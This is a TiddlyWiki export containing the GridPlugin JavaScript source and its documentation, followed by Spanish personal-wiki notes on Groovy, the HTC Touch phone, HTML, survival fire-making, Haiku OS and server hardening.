!!!!!Revisions
<<<
2010.03.06 2.0.7 fixed setSection()
2009.09.26 2.0.6 fixed setSlice() for existing slices with empty values
|please see [[GridPluginInfo]] for additional revision details|
2007.01.30 0.0.1 started
<<<
!!!!!Code
***/
//{{{
version.extensions.GridPlugin= {major: 2, minor: 0, revision: 7, date: new Date(2010,3,6)};

config.macros.grid= {
	sizeSliceName: 'TiddlerSize', // fake slice to show # of bytes in tiddler 
	noColsMsg: '@@display:block;border:1px solid;there are no columns to display@@',
	showHeaders:'&#x25BA;&#x25BA;&#x25BA;',
	showHeadersTip:'show column headings',
	hideHeaders:'&#x25C4;&#x25C4;&#x25C4;',
	hideHeadersTip:'hide column headings',
	slicesRE: /(?:^\|\s*[\'\/]*~?(\w+)\:?[\'\/]*\s*\|\s*(.*?)\s*\|$)/gm,
	gridStyles: '.viewer .grid thead td, .grid thead td { background:transparent; }',
	init: function() { setStylesheet(this.gridStyles,'gridStyles'); },
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var edit=params.contains('edit') && !readOnly; // no editing if readOnly
		var wiki=params.contains('wikify');
		var inline=params.contains('inline');
		if (inline) var heads=true;
		var all=params.contains('all');
		params=paramString.parseParams('name',null,true,false,true); // for NAMED VALUES
		var filter=getParam(params,'filter',''); // core or MatchTagsPlugin tag filter syntax
		if (filter.length && !filter.startsWith('[tag[')) filter='[tag['+filter+']]';
		var tags=this.getList(getParam(params,'tags'),true); // older "match at least one tag" syntax
		if (tags.length) filter='[tag['+tags.join(']][tag[')+']]'+filter;
		var names=this.getList(getParam(params,'columns')); // slices/sections/fields to use as columns
		var clip=getParam(params,'clip',0); // 0=no clipping
		var width=getParam(params,'width','auto');
		var rc=this.getRowsAndCols(filter,names,all);
		if (!rc.cols.length) wikify(this.noColsMsg,place);
		else this.renderTable(place,rc.rows,rc.cols,inline,heads,wiki,edit,clip,width);
	},
	getList: function(t,gettags) {
		var items=(t||'').readBracketedList();
		for (var i=0;i<items.length;i++) { var item=items[i];
			// replace item with list based on item prefix:
			// +name  contents of tiddler (space-separated list)
			// @name  slices/tags,
			// @!name sections
			// @=name fields
			if ('@+'.indexOf(item.substr(0,1))!=-1) {
				var title=item.substr(1); var type=title.substr(0,1);
				if ('=!'.indexOf(type)!=-1) title=title.substr(1);
				if (title=='here')
					title=story.findContainingTiddler(place).getAttribute('tiddler');
				var tid=store.getTiddler(title); if (tid) {
					var list=[];
					if (item.substr(0,1)=='+') list=tid.text.readBracketedList();  // contents
					else if (gettags) list=tid.tags; // tags
					else if (type=='!') list=this.getSections(tid.title);  // sections
					else if (type=='=') list=this.getFields(tid.title); // fields
					else for (var s in this.getSlices(tid.title)) list.push(s);  // slices
					items.splice(i,1); // remove item
					for (var j=0;j<list.length;j++,i++) items.splice(i,0,list[j]); // add list
				}
			}
		}
		return items;
	},
	getRowsAndCols: function(filter,names,all) {
		var rows=[]; var cols=[]; // get rows (tiddlers) and columns (slices)
		var tiddlers=filter&&filter.length?store.filterTiddlers(filter):store.getTiddlers();
		for (i=0; i<tiddlers.length; i++) {
			var slices=this.getSlices(tiddlers[i].title);
			var include=false; for (var s in slices) { cols.pushUnique(s); include=true; }
			if (include||all) rows.push(tiddlers[i].title);
		}
		rows=rows.sort();
		// use specified list instead of collected slice names
		if (names.length) var cols=names;
		return {rows:rows,cols:cols};
	},
	renderTable: function(place,rows,cols,inline,heads,wiki,edit,clip,width) {
		var span=createTiddlyElement(place,'span')
		span.innerHTML=this.generateTable(rows,cols,inline,heads,wiki,edit,clip,width)
		// replace TD content with wikified elements
		var tds=span.getElementsByTagName('td');
		for (var t=0; t<tds.length; t++) {
			if (hasClass(tds[t],'wiki')) {
				var txt=getPlainText(tds[t]);
				if (hasClass(tds[t],'grid_heading')) txt='[['+txt+']]';
				removeChildren(tds[t]);
				wikify(txt,tds[t]);
			}
		}
	},
	generateTable: function(rows,cols,inline,heads,wiki,edit,clip,width) {
		var out= "<html><table class='sortable grid' style='border:0;padding:0;spacing:0;"
			+"border-collapse:collapse;width:"+width+"'>";

		// column headings
		out+=	 "<thead><tr style='border:0;vertical-align:bottom'>"
			+"<td style='text-align:right;border:0'>"
			+"<a href='javascript:;' style='font-size:80%;'"
			+"	title='"+(heads?this.hideHeadersTip:this.showHeadersTip)+"'"
			+"	onclick='return config.macros.grid.toggleHeaders("
			+"		this,event,"+(heads?"true":"false")+")'>"
			+(heads?this.hideHeaders:this.showHeaders)
			+"</a>"
			+"</td>";
		for (var i=0;i<cols.length;i++) {
			out+=	 "<td style='text-align:center;cursor:pointer;"
				+"	border:0;padding-left:2px;padding-right:2px;' "
				+"<span style='display:"+(heads?"block":"none")+"'>"
				+cols[i].replace(/^[=!]/,'')
				+"</span></td>";
		}
		out+="</tr></thead>";

		// row heading format ('fake' tiddler link)
		// %0=cell width, %1=tiddler name, %2='wiki' classname (optional), %3='inline' classname (optional)
		var head="<td style='text-align:right;border:0;padding-right:2px;white-space:nowrap;%0;'>"
			+"<a href='javascript:;' tid=\"%1\" class='grid_heading %2 %3' "
			+"onclick='story.displayTiddler("
			+"	this,this.getAttribute(\"tid\"));return false'>%1</a></td>";

		// row value format
		// %0=bgcolor, %1=cellwidth, %2=cell alignment, %3=tiddler name
		// %4=slice/section/field name, %5=tooltip, %6='wiki' classname (optional),
		// %7='inline' classname (optional), %8=cell content value
		var cell="<td style='background-color:%0;border:1px solid;%1;%2;' tid=\"%3\" ";
		if (edit) cell+="onclick='return config.macros.grid.editInPlace("
			+"this,event,this.getAttribute(\"tid\"),\"%4\");' ";
		cell+="title=\"%5\" class='grid_content %6 %7'>%8</td>";

		// generate rows
		for (var i=0;i<rows.length;i++) {
			var tiddlersrc=rows[i].replace(/"/g,"&#x22;");
			out+="<tr style='border:0;vertical-align:top'>";
			out+=head.format([inline?'width:1%':'',tiddlersrc,wiki?'wiki':'',inline?'inline':'']);
			for (var j=0;j<cols.length;j++) { var c=cols[j];
				var val=this.get(rows[i],c);
				var content="&nbsp;";
				if (val.length && inline) {
					content=val.htmlEncode();
					if (c=='=text'||clip) // truncate
						content=val.substr(0,clip||500)
							+(val.length>(clip||500)?"...":"");
					if (c=='=text') // format tiddler source
						content='<html><code style="line-height:100%">'
							+content.replace(/\n/g,'<br>')
							+'</code></html>';
				}
				var title=this.showName(tiddlersrc,c)+(!inline?'='+val:'');
				out+=cell.format([
					val.length&&!inline?'#999':'transparent', !inline?'width:1em;':'',
					inline&&!isNaN(parseFloat(val))?'text-align:right !important;':'',
					tiddlersrc, c, title, wiki?'wiki':'', inline?'inline':'', content]);
			}
			out+='</tr>';
		}
		out+="</table></html>";
		return out;
	},
	showName: function(tid,name) {
		if (name==this.sizeSliceName) var fmt='%0 - size (in bytes)'; // fake slice
		var fmt=(name.substr(0,1)=='=')?'%1@%0':(name.substr(0,1)=='!')?'%1##%0':'%0::%1';
		return fmt.format([tid,name.replace(/^[=!]/,'')]);
	},
	toggleHeaders: function(here,event,defOpen) {
		if (here.expanded==undefined) here.expanded=defOpen;
		var ex=here.expanded=!here.expanded; 
		here.innerHTML=ex?this.hideHeaders:this.showHeaders;
		here.title=ex?this.hideHeadersTip:this.showHeadersTip;
		var cells=here.parentNode.parentNode.getElementsByTagName('td');
		for (i=1; i<cells.length; i++) cells[i].firstChild.style.display=ex?'inline':'none';
		event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;
	},
	editInPlace: function(here,event,tid,name) {
		if (here.editing) return false; // already editing, don't re-init
		if (name==this.sizeSliceName) return false; // read-only fake slice
		var v=this.get(tid,name); // current value
		var lines=v.split('\n').length;
		var title=this.showName(tid,name);
		var style=lines>1?'font-size:90%;width:99%;':'font-size:100%;width:95%;line-height:100%;'
		var maxlines=Math.min(lines,config.options['txtMaxEditRows']); // for textarea
		var html=lines>1?'<textarea rows='+maxlines:'<input type="text"';
		html   +=' tid="'+tid.replace(/"/g,'&#x22;')+'"'
			+' name="'+name.replace(/"/g,'&#x22;')+'"'
			+' style="margin:0px;padding:1px 0px 1px 3px;border:0;'+style+'"'
			+' title="'+title+' (ENTER=submit, ESC=cancel)"'
			+' onblur="config.macros.grid.blur(this,event)"'
			+' onkeydown="config.macros.grid.keydown(this,event)"';
		html+=lines>1?'></textarea>':'>';
		here.editing=true;
		here.setAttribute('savedWidth',here.style.width);
		here.setAttribute('savedPadding',here.style.padding);
		here.setAttribute('savedColor',here.style.backgroundColor);
		if (!hasClass(here,'inline')) here.style.width='99%';
		here.style.padding='0px'; 
		here.style.backgroundColor='#fff';
		here.innerHTML=html;
		var ta=here.firstChild; ta.value=v; ta.focus(); ta.select();
		event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;
	},
	keydown: function(here,ev) { ev=ev||window.event;
		var tid=here.getAttribute('tid');
		var name=here.getAttribute('name');
		if (ev.keyCode==27) {
			var currval=this.get(tid,name);
			if (here.value==currval) { here.blur(); return false; }
			here.asking=true; // prevents blur handling during confirm()
			var discard=confirm('OK to discard changes to '+this.showName(tid,name)+'?');
			here.asking=false;
			if (discard) { here.value=currval; here.blur(); }
			return false;
		}
		else if (ev.keyCode==13 && !ev.ctrlKey) {
			this.set(tid,name,here.value);
			here.blur();
			return false;
		}
	},
	blur: function(here,ev) { ev=ev||window.event;
		if (here.asking) return false;
		var tid=here.getAttribute('tid');
		var name=here.getAttribute('name');
		var currval=this.get(tid,name);
		var msg=this.showName(tid,name)+' has changed... OK to save changes?';
		if (here.value!=currval && confirm(msg))
			{ this.set(tid,name,here.value); currval=this.get(tid,name); }
		var target=here.parentNode;
		target.editing=false;
		target.style.backgroundColor=target.getAttribute('savedColor');
		target.style.padding=target.getAttribute('savedPadding');
		target.style.width=target.getAttribute('savedWidth');
		if (name=='=text') currval='<html><code>'+currval.substr(0,500).replace(/\\n/g,'<br>')+'</code></html>';
		if (hasClass(target,'wiki')) { removeChildren(target); wikify(currval,target); }
		else target.innerHTML=hasClass(target,'inline')?currval:'&nbsp;';
	},
	get: function(tid,name) {
		if (name.substr(0,1)=='=') var v=store.getValue(tid,name.substr(1)); // field
		else if (name.substr(0,1)=='!') var v=store.getTiddlerText(tid+'##'+name.substr(1));  // section
		else if (name==this.sizeSliceName) var v=store.getTiddlerText(tid,'').length.toString();  // fake slice
		else var v=store.getTiddlerSlice(tid,name); // real slice
		return v||'';
	},
	set: function(tid,name,val) {
		if (val==this.get(tid,name)) return false; // unchanged... do nothing
		if (name.substr(0,1)=='=') // field
			{  name=name.substr(1); store.setValue(tid,name,val); }
		else if (name.substr(0,1)=='!') // section
			{  name=name.substr(1); this.setSection(tid,name,val); }
		else // slice
			{ this.setSlice(tid,name,val); }
		displayMessage(this.showName(tid,name)+' has been updated');
		return false;
	},
	setSection: function(tid,name,newval) {
		var t=store.getTiddler(tid); if (!t) { var t=new Tiddler(); t.text=''; }
		var oldval=this.get(tid,'!'+name).escapeRegExp();
		var pattern=new RegExp('(.*!{1,6}'+name+'\\n)'+oldval+'((?:\\n!{1,6}|$).*)');
		var newText=t.text.replace(pattern,'$1'+newval+'$2');
		var who=config.options.txtUserName; var when=new Date();
		if (config.options.chkForceMinorUpdate) { var who=t.modifier; var when=t.modified; }
		store.saveTiddler(tid,tid,newText,who,when,t.tags,t.fields);
		story.refreshTiddler(tid,null,true);
	},
	setSlice: function(tid,name,newval) {
		var t=store.getTiddler(tid); if (!t) { var t=new Tiddler(); t.text=''; }
		var oldval=this.get(tid,name)||'';
		var pattern="((?:^|\\n)\\|\\s*[\\'\\/]*~?(?:"
			+name.escapeRegExp()
			+")\\:?[\\'\\/]*\\s*\\|\\s*)(?:"
			+oldval.escapeRegExp()
			+")(\\s*\\|(?:\\n|$))";
		var match=t.text.match(new RegExp(pattern));
		if (match) {
			var pos=t.text.indexOf(match[0]);
			var newText=t.text.substr(0,pos)
				+match[1]+newval+match[2]
				+t.text.substr(pos+match[0].length);
		} else { // create new slice at start of tiddler or after last existing slice (if any)
			var match=t.text.match(this.slicesRE); if (match) var last=match[match.length-1];
			var pos=last?t.text.indexOf(last)+last.length+1:0; 
			var newText=t.text.substr(0,pos)+'|'+name+'|'+newval+'|\n'+t.text.substr(pos);
		}
		var who=config.options.txtUserName; var when=new Date();
		if (config.options.chkForceMinorUpdate) { var who=t.modifier; var when=t.modified; }
		store.saveTiddler(tid,tid,newText,who,when,t.tags,t.fields);
		story.refreshTiddler(tid,null,true);
	},
	getSlices: function(tid) {
		var slices = {};
		var text = store.getTiddlerText(tid,'');
		slices[this.sizeSliceName]=text.length.toString();  // fake slice
		this.slicesRE.lastIndex = 0;
		do {
			var m = this.slicesRE.exec(text);
			if (m) { if (m[1]) slices[m[1]] = m[2]; else slices[m[3]] = m[4]; }
		} while(m);
		return slices;
	},
	getSections: function(tid) {
		var s=[];
		var t=store.getTiddlerText(tid,'');
		var p=/(?:^|\n)!{1,6}([^\n]*)\n/gm;
		do { var m=p.exec(t); if (m) { s.push(m[1]); } } while(m);
		return s;
	},
	getFields: function(tid) {
		var t=store.getTiddler(tid); if (!t) return [];
		var fields=['=created','=modified','=modifier','=text','=tags'];
		for (var f in t.fields) fields.push('='+f);
		return fields;
	}
};
//}}}
/***
|Name|GridPluginInfo|
|Source|http://www.TiddlyTools.com/#GridPlugin|
|Documentation|http://www.TiddlyTools.com/#GridPluginInfo|
|Version|2.0.7|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1.3|
|Type|documentation|
|Description|documentation for GridPlugin|
!!!!!Usage
<<<
The {{{<<grid>>}}} macro generates a table, where ''rows are tiddlers, columns are any combination of slices, sections or field names'', and grid cells display individual values (or colored boxes with mouseover 'tooltips' to view values).
*Use tag filtering to select and display specific subsets of tiddlers.
*Grid column headings can be shown/hidden by clicking the {{{>>>}}} symbol in the upper-left corner
*Optionally, clicking on a cell allows you to edit the value in that cell.  Pressing enter (or moving away from the input field) saves the changed value.  Pressing escape cancels the changes (after confirming)
{{{
<<grid	columns:[[name name name...]]
	tags:[[tag tag...]]
	filter:...
	clip:...
	inline wikify edit all>>
}}}
//all parameters are optional//
*''columns:...'' (list) default=use all slices defined in the document<br>display columns using the specified names, which refer to any combination of slices, sections and fields.
**If a column name begins with '=' (equal sign), then it is a tiddler field reference.
**If a column name begins with '!' (exclamation), then it is a tiddler section reference.
**Column names without either prefix are tiddler slice references.
**''{{{+TiddlerName}}}'' uses a space-separated list of column names stored in another tiddler.
**''{{{@TiddlerName}}}'' uses the slices from a given tiddler as column names.
**''{{{@!TiddlerName}}}'' uses the sections from a given tiddler.
**''{{{@=TiddlerName}}}'' uses the fields from a given tiddler.
**A special read-only 'fake' slice name, ''~TiddlerSize'', can be used to automatically compute and show the tiddler's size in bytes.
*''tags:...'' (list) default=show all tiddlers<br>display tiddlers that match at least ONE of the specified tags.
**''{{{+TiddlerName}}}'' uses a space-separated list of tags stored in another tiddler.
**''{{{@TiddlerName}}}'' uses the tags assigned to the indicated tiddler.
*''filter:...'' (filter syntax) default=none<br>enhanced tiddler selection by tags, using core filter syntax (e.g., {{{"[tag[tag1]][tag[tag2]]"}}}) or MatchTagsPlugin's compound //Boolean tag expressions// (e.g., {{{"tag1 or (tag2 and tag3) and not tag4)"}}})
*''clip:...'' (number) default=no clip length limit<br>maximum # of characters to show in a grid cell when using 'inline' keyword.  Text values are truncated with '...'
*''inline'' (keyword)<br>displays column values directly in grid cells.  Default=use a colored block if a value is defined, with mouseover 'tooltip' to show the actual value
*''wikify'' (keyword)<br>parses and formats wiki-syntax contained in values.  Default=show values ''as-is'', without wiki formatting
*''edit'' (keyword)<br>enables click-to-edit to change values.  Default=read-only display of values.
*''all'' (keyword)<br>displays a row for each tiddler, even tiddlers that have NO non-blank values. Default=show only tiddlers that have at least one defined value.
Note: this plugin uses a modified version of slices pattern:
{{{
slicesRE = /(?:^\|[\'\/]*~?(\w+)\:?[\'\/]*\|\s*(.*?)\s*\|$)/gm;
}}}
* eliminates TONS of spurious slices caused by over-eager 'description' format pattern matches
* enforces beginning-of-line and end-of-line sequences.  (Allows slice values to contain |, such as in pretty links)
<<<
!!!!!Examples
<<<
*{{block{
View 'mouseover' summary of slices
for tiddlers matching at least one tag from a list of tags
using slices from this tiddler as columns
<<<
{{{
<<grid tags:[[systemConfig pluginInfo script]] columns:@GridPluginInfo>>
}}}
+++[show results...]...
<<grid tags:[[systemConfig pluginInfo script]] columns:@GridPluginInfo>>
===
<<<
}}}
*{{block{
Edit slices (Description, Version), fields (changecount) and sections (Revisions)
for tiddlers using TW core filter syntax:
<<<
{{{
<<grid filter:[tag[systemConfig]][tag[pluginInfo]][tag[script]]
	columns:[[Description Version =changecount !Revisions]] inline wikify edit>>
}}}
+++[show results...]...
<<grid filter:[tag[systemConfig]][tag[pluginInfo]][tag[script]]
	columns:[[Description Version =changecount !Revisions]] inline wikify edit>>
===
<<<
}}}
*{{block{
Edit slices (Description, Version), fields (changecount) and sections (Revisions)
for tiddlers using enhanced boolean filter syntax (requires [[MatchTagsPlugin]])
<<<
{{{
<<grid filter:[[systemConfig or pluginInfo or script]]
	columns:[[Description Version =changecount !Revisions]] inline wikify edit>>
}}}
+++[show results...]...
<<grid filter:[[systemConfig or pluginInfo or script]]
	columns:[[Description Version =changecount !Revisions]] inline wikify edit>>
===
<<<
}}}
<<<
!!!!!Revisions
<<<
2010.03.06 2.0.7 fixed setSection()
2009.09.26 2.0.6 fixed setSlice() for existing slices with empty values
2009.09.25 2.0.5 fixed cell redraw after edit-in-place
2009.09.25 2.0.4 fixed ({{{@!name}}} ) and {{{@=name}}} handling
2009.09.24 2.0.3 added handling for getting columns from tiddler sections ({{{@!name}}} ) or fields {{{@=name}}}
2009.09.23 2.0.2 fixed handling for {{{@TiddlerName/+TiddlerName}}}
2009.09.21 2.0.1 split keydown() and blur() functions from editInPlace() and added confirmation for escape key (discard changes)
2009.09.20 2.0.0 Complete re-write.  Renamed [[GridPlugin]].  View and/or edit any tiddler section, slice or field.  Renamed 'slices:...' param to 'columns:...'
2009.09.17 1.1.1 added textarea handling for multi-line fields (e.g., 'text')
2009.09.17 1.1.0 added '=fieldname' syntax for 'field grid'
2008.08.15 1.0.3 add brackets around row headings when wikifying so that non-wikiword tiddler titles are linked
2008.08.13 1.0.2 wikify row headings (in addition to slice value cells) whenever 'wikify' param is used
2008.05.01 1.0.1 in editSlice(), corrected fixup for titles containing double-quotes
2007.09.18 1.0.0 added 'wikify' param and handling to format wiki-syntax contained in slice values
2008.05.01 1.0.1 in editSlice(), corrected fixup for titles containing double-quotes
2007.09.18 1.0.0 added 'wikify' param and handling to format wiki-syntax contained in slice values
2007.08.02 0.9.8 when generating HTML, replace double-quotes in tiddler titles with {{{&#x22;}}} to avoid ambiguity with quotes used as HTML attribute syntax delimiters.
2007.07.22 0.9.7 removed hard-coded 99% 'width bias' and wordwrap from Description cells, default to autosize (equal size for all columns).  Added width:xxxx param to easily stretch table to fit containing space
2007.06.08 0.9.6 fixed generated code for row headings and edit_slice() handlers, so titles with single-quotes will work
2007.04.24 0.9.5 added 'fake' slicename: 'TiddlerSize', to display # of bytes in tiddler as a grid column.
2007.04.13 0.9.4 honor 'excludeLists' tag so that 'hidden' tiddlers aren't displayed in the grid
2007.04.08 0.9.3 fixed cell bgcolor (non-inline grid 'blocks') after edit-in-place adds/clears a slice value
2007.04.07 0.9.2 support edit in place for non-inline grids (color 'blocks').  Also create new slices in tiddlers if slice not already present
2007.04.07 0.9.1 use locally-defined slicesRE (and getSlice() method) instead of re-defining core slicesRE.  Avoids breaking use of shadow ColorPalette slices.  
2007.04.05 0.9.0 Added functioning 'set slice' handler and 'edit-in-place' feature.  Eliminated mouseover popups (use tooltips instead).  Added ''tags:'', ''slices:'' and ''edit'' params.  Lots of code cleanup.
2007.04.04 0.8.1 in info() and popup() functions, instead of creating popup display, use element tooltip to show mouseover details.
2007.03.25 0.8.0 change to BETA status and added support for 'tags:tag tag tag tag' filtering param
2007.02.03 0.0.2 change display of slices from 'tiddler[slidename]' to 'tiddler:slicename' to match TW slice syntax
2007.01.30 0.0.1 started (adapted from TagGridPlugin)
<<<
!Descripción
<part descripcion>
Información sobre Groovy
</part>
!Enlaces
<part enlaces>
* ''General:''
** Articulo de la Wikipedia: http://es.wikipedia.org/wiki/Groovy_(Lenguaje_de_Programaci%C3%B3n)
** Página principal: http://groovy.codehaus.org/
** Tutorial de Groovy: http://www.dosideas.com/cursos/course/view.php?id=9
** Página principal: http://groovy.codehaus.org/
** Artículo en la wikipedia inglesa: http://en.wikipedia.org/wiki/Groovy_%28programming_language%29
** Comunidad de Groovy en español: http://groovy.org.es/home/index
* ''Librerías:''
** Framework para aplicaciones de escritorio: http://groovy.dzone.com/announcements/griffon-03-released
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
El teléfono móvil HTC Touch usa [[Windows Mobile]] 6.5 y sus características principales son:
* Conectividad GSM/GPRS (no 3G)
- Wifi 802.11 b/g
- Bluetooth 2.0
- 64MB de RAM
- Procesador OMAP 200Mhz
- Pantalla resistiva de 240x320

Ya tiene sus años el pobre :)
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
* Foro de HTCMania: http://www.htcmania.com/forumdisplay.php?f=21

!! Flash y ROMs
* Como flashear: http://www.htcmania.com/showthread.php?t=3329

!! Instalar Linux
* Instalar Linux Familiar: http://www.htcmania.com/showthread.php?t=4069

!! Instalar Android
* Instalar Android en Elfin: http://forum.xda-developers.com/showthread.php?t=385129&page=8
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre HTML y XHTML
</part>
!Enlaces
<part enlaces>
* ''General:''
** HTML reference: http://w3schools.com/tags/default.asp
** HTML DOM: http://w3schools.com/htmldom/dom_reference.asp
** Try it yourself: http://w3schools.com/css/tryit.asp?filename=trycss_link
** http://sentidoweb.com/2007/09/12/10-ficheros-que-deberia-tener-cualquier-web.php 
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Formularios y parámetros ^^[[<editar>|$1]]^^
Los campos de los formularios ''DEBEN'' tener un atributo {{{name}}} para que al hacer submit se envíen al servidor. Poner un atributo {{{id}}} no sirve para nada.
!!Uso de innerHTML ^^[[<editar>|$1]]^^
En Firefox se puede usar con cualquier etiqueta HTML sin ningún problema, pero en Internet Explorer (incluida versión 7) hay un bug que obliga a utilizar la propiedad innerHTML sólo con elementos {{{<div />}}}
<<showtoc>>
! Introducción
Diferentes técnicas para hacer fuego, principalmente para casos de emergencia.

! Técnicas
!! Mediante luz solar y medios ópticos
!!! Con una lente
Un clásico que casi cualquiera ha hecho de niño con una lupa. Consiste en concentrar los rayos solares en un punto usando una lente convexa, como las lupas o las gafas de hipermetropía. También puede utilizarse el culo de una botella u otro elemento de vidrio curvado que concentre la luz en un punto. Otra opción podría ser usar un espejo cóncavo
!!! Con hielo
El truco es congelar agua para que forme una lente de hielo. La lente de hielo puede utilizarse de la misma manera que una de cristal para conseguir concentrar los rayos solares en un punto pequeño. Puede hacerse la lente de hielo con cualquier contenedor de forma cóncava, como un plato o el culo de una lata de refresco. Más información: 
* http://www.primitiveways.com/fire_from_ice.html
* http://wildwoodsurvival.com/survival/fire/ice/index.html
!!! Con una bolsa transparente y agua
Otra forma de hacer lentes con agua es llenar una bolsa transparente de agua, y presionarla para que adquiera forma más o menos esférica. Una vez conseguida esta forma, la bolsa llena de agua se comportará como una lente cualquiera. Mas información:
* http://wildwoodsurvival.com/survival/fire/water/index.html
!!! Con una lata de refresco y una chocolatina
El culo de una lata de refresco tiene forma cóncava, por lo que podría ser un buen espejo. Si no fuera porque las latas de refresca están bruñidas (no son metal brillante). ¿Como solucionarlo? Puliéndolas, y un buen agente pulidor es el chocolate. Es tan sencillo como poner un poco en el culo de la lata y con un paño frotar hasta que quede brillante. Una vez pulido se puede poner material combustible (papel, madera, una cerilla un poco mojada) en el punto focal y esperar a que arda.

!! Fricción
!!! Berbiquí manual
Consiste en una tabla con una hendidura en una cara y un palo que encaja en la hendidura. Se apoya el palo sobre la hendidura con un poco de material inflamable, y se presiona y retuerce el palo sobre la tabla. Hay que centrarse más en girar el palo lo más rápido posible que en presionarlo con gran fuerza. Al cabo de un buen rato, la fricción entre el palo y la tabla habrá calentado tanto el material inflamable que empezará a quemarse. Más información:
* http://wildwoodsurvival.com/survival/fire/handdrill/index.html
!!! Labrado de madera
Otra técnica consiste en coger un buen trozo (un tronco de 10 ó 20 cm cortado por la mitad) de madera blanda y una rama de madera dura de un dedo de grosor. Con la madera dura se va raspando la blanda, haciendo un surco en el centro. Al ir aumentando la presión sobre la madera blanda, arrancará astillas que acabarán prendiendo fuego.
Más información:
* http://www.wilderness-survival.net/chp7.php
!!! Berbiquí de arco
Una forma de mejorar el proceso es usar un arco para hacer girar el palo. Se debe construir un arco, pero no como los de tirar proyectiles, si no uno con la cuerda floja. el objetivo es enrollar la cuerda en torno al palo, para que al mover el arco hacia un lado y hacia el otro, la cuerda enredada haga girar el palo a gran velocidad. Es un mecanismo similar a los tornos de alfarero de ballesta que se utilizaban antaño. Más información:
* http://wildwoodsurvival.com/survival/fire/bowdrill/index.html
* http://www.wildwoodsurvival.com/survival/fire/basics/jlfrictionmethods.html

!! Piedras y rocas
!!! Generalidades
Otra forma de hacer fuego es conseguir chispas por colisión y fricción de dos piedras o rocas, o ayudándose de un cuchillo. Más información:
* http://www.wildwoodsurvival.com/survival/fire/twostones/index.html
* http://www.wildwoodsurvival.com/survival/fire/twostones/abbww/index.html
!!! Pedernal
El pedernal es la roca preferida para producir chispas. Es muy fácil conseguirlas golpeando dos pedernales de lado. Lo difícil es encontrar pedernal en la naturaleza.
!!! Pirita y otras piedras con metales
Las rocas con incrustación de metales también puede producir chispas al impactar. Es más complicado de conseguir que con el pedernal, pero son más fáciles de identificar. Se puede utilizar una piedra de material duro, como silex o cuarzo, para golpearla sobre la pirita y obtener mejores resultados. Más información:
* http://www.wildwoodsurvival.com/survival/fire/twostones/storm/index.html
* http://www.wildwoodsurvival.com/survival/fire/twostones/marcasite.html
!!! Con cuchillo
Se puede utilizar un cuchillo con alto contenido de carbono para rascar una piedra con el lado contrario al filo. Mediante fricción o impacto se pueden hacer saltar algunas chispas.
* http://www.wildwoodsurvival.com/survival/fire/flintandsteel/storm/index.html
* http://www.wildwoodsurvival.com/survival/fire/flintandsteel/abbknifeandstone/index.html
* http://www.wildwoodsurvival.com/survival/fire/flintandsteel/RBclarifications.html

!! Compresión
!!! Generalidades
Al comprimir el aire u otros materiales, aumenta su temperatura. Comprimiendo repetidas veces se puede conseguir calor suficiente para encender un fuego. A estos dispositivos se les suele denominar "pistones de fuego".

La forma de construirlos es teóricamente sencilla pero prácticamente complicada. Se componen de un émbolo y un pistón, ambos de materiales que resistan muy bien la presión. En el extremo del pistón se fija material combustible. Al comprimir continuamente le aire del interior del émbolo, se empezará a calentar, hasta que alcance temperatura suficiente para prender fuego al material inflamable. Originalmente se hacía con bambú. Hay que ser muy cuidadosos para que no reviente por la presión.

Más información:
* http://www.wildwoodsurvival.com/survival/fire/firepiston/index.html
* http://www.wildwoodsurvival.com/survival/fire/firepiston/rb2/index.html

!! Electricidad de bajo voltaje (pilas)
!!! Hacer fuego con lana de acero y una pila de 9V
Tan sencillo como aplicar los bornes de la pila a la lana. Esto hará que salte una chispa que hará entrar en combustión a la lana. ¡Mucho ojo para no quemarse los dedos! Más información:
* http://www.ikkaro.com/como-hacer-fuego-lana-acero

! Referencias
* http://www.primitiveways.com/
* http://wildwoodsurvival.com/survival/fire/index.html
* http://www.wilderness-survival.net/chp7.php
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** http://www.securitybydefault.com/2010/08/pirateando-al-pirata-television-de-pago.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Es un sistema operativo compatible a nivel binario con BeOS 5 y que intenta ser el heredero de este. Básicamente es un SO monousuario orientado al escritorio y al tratamiento de imágenes, vídeo y sonido (multimedia). Haiku es libre, al contrario que BeOS, y está teniendo un activo desarrollo. Las premisas de Haiku son extrema sencillez y potencia para el tratamiento multimedia.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Haiku_(sistema_operativo)
** Página principal: http://www.haiku-os.org
** Descargar software: http://bebits.com/
** Blog de Haiku en español: http://haikues.blogspot.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Hardening es la acción de configurar un servidor y/o una red para que sea más seguros. Generalmente se suele realizar primero un [[test de penetración|Pentest]] para comprobar las posibles vulnerabilidades y el estado general del sistema. Una vez enumerados los peligros, se corrigen, y se vuelve a realizar un test para ver si el sistema ya está protegido.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Hardening_%28computing%29
** Cómo gestionar los cortafuegos: http://www.securityartwork.es/2009/11/30/gestion-de-cortafuegos/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
